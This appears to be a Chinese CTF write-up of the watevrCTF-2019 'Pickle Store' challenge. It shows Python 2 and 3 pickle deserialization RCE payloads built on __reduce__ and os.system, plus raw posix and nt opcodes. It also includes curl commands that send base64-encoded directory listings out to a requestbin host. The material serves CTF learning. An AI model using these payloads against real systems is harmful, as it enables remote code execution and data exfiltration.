目录
题目复现链接:https://buuoj.cn/challenges
参考链接:watevrCTF 2019 - Write-ups
Python pickle 反序列化实例分析
这篇文章讲的很全了
基本上这样的exp就可以了,这是python2的
import cPickle
import sys
import base64
COMMAND = sys.argv[1]
class PickleRce(object):
def __reduce__(self):
import os
return (os.system,(COMMAND,))
print base64.b64encode(cPickle.dumps(PickleRce()))
python3的也差不多
import pickle
import base64
class PickleRce(object):
def __reduce__(self):
import os
return (os.system, ('curl http://http.requestbin.buuoj.cn/17ozn5q1',))
print(base64.b64encode(pickle.dumps(PickleRce(), protocol=0)))
这里我主要要说的是我做这道题的时候payload是在windows上用pycharm生成的,但是一直不成功,而在unix上就可以,而且两个平台上出来的payload是不一样的,在unix上是这样的
cposix
system
p1
(S'sleep 5'
p2
tRp3
.
在windows上是这样的
cnt
system
p0
(Vsleep 5
p1
tp2
Rp3
.
最主要的原因就是第一行引入的模块,nt是windows平台下的一个python包,用来和windows系统交互,posix则是unix对应的包,题目靶机是unix的,用windows的payload自然失败。
另外扫目录的时候有个问题,ls
返回的数据没法直接curl,只会返回第一行,我用了两种比较蠢的方法,第一种是
curl http://http.requestbin.buuoj.cn/17ozn5q1/\?a=`ls / | base64 | sed -n "1p"`
curl http://http.requestbin.buuoj.cn/17ozn5q1/\?a=`ls / | base64 | sed -n "2p"`
不知道为什么base64之后还是两行,只能分两行读,第二种是
curl http://http.requestbin.buuoj.cn/17ozn5q1/\?a=`printf %s `ls /`
结果会所有的文件名连在一块,很难看但是能达到目的,我觉得应该有更好的方法,希望大佬们不吝赐教
刷题记录:[watevrCTF-2019]Pickle Store
原文:https://www.cnblogs.com/20175211lyz/p/12310293.html